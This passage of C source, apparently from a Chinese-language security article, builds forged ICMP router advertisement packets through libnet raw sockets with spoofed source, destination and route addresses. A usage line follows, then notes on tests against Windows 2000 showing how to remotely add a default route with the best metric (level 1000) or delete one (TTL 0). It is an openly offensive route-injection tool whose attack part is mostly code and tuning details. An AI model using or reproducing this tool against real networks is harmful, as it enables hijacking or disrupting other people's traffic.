routeIp = ( u_long )random();
}
ipDataSize = 16;
packet_size += ipDataSize;
fprintf( stderr, "[ Icmp route advertising ... ... ]/n" );
/* 分配内存并初始化成零 */
Libnet_init_packet( packet_size, &packet );
/* 在这里构造ICMP路由通告报文的部分数据 */
ipData = packet + LIBNET_IP_H;
ipData[0] = 0x09; /* ICMP路由通告报文 */
ipData[1] = 0x00; /* 校验和留待后面调用函数计算 */
ipData[4] = 0x01; /* 项目个数 */
ipData[5] = 0x02; /* 项目大小,固定为2 */
tempUshort = ( u_short * )( ipData + 6 );
*tempUshort = htons( ttl ); /* 生存时间 */
tempUlong = ( u_long * )( ipData + 8 );
*tempUlong = routeIp; /* 路由IP */
tempUlong = ( u_long * )( ipData + 12 );
*tempUlong = htonl( level ); /* 优先级 */
/* 创建raw_socket */
rawSocket = Libnet_open_raw_sock( IPPROTO_RAW );
iraSend( srcIp, dstIp, routeIp, iraNumber );
/* 关闭raw_socket */
libnet_close_raw_sock( rawSocket );
/* 释放由libnet_init_packet()分配的内存 */
libnet_destroy_packet( &packet );
fprintf( stderr, "/n[ Icmp route advertised ]/n" );
return( SUCCESS );
} /* end of main */
/*----------------------------------------------------------------------*/
--------------------------------------------------------------------------
Usage: ./ia [--si srcIp] [--di dstIp] [--routeIp routeIp] [--num iraNumber]
[--ttl ttl] [--level level]
测试中验证了一些有趣的事实。当生存时间ttl设置成0的时候,实际意味着远程删除
前面通过ICMP路由通告报文增加上去的缺省路由。优先级level默认为0,在2K上远程
增加上来的缺省路由Metric为1000,当level设置成1000的时候,在2K上远程增加上
来的缺省路由Metric为1。对于2K,只有level等于1000时Metric才为1,level继续增
大,Metric非但不减小反而增大。注意,所谓缺省路由就是0.0.0.0/0.0.0.0路由,
缺省路由在IP寻径中一般最后被使用,缺省路由可以多条并存。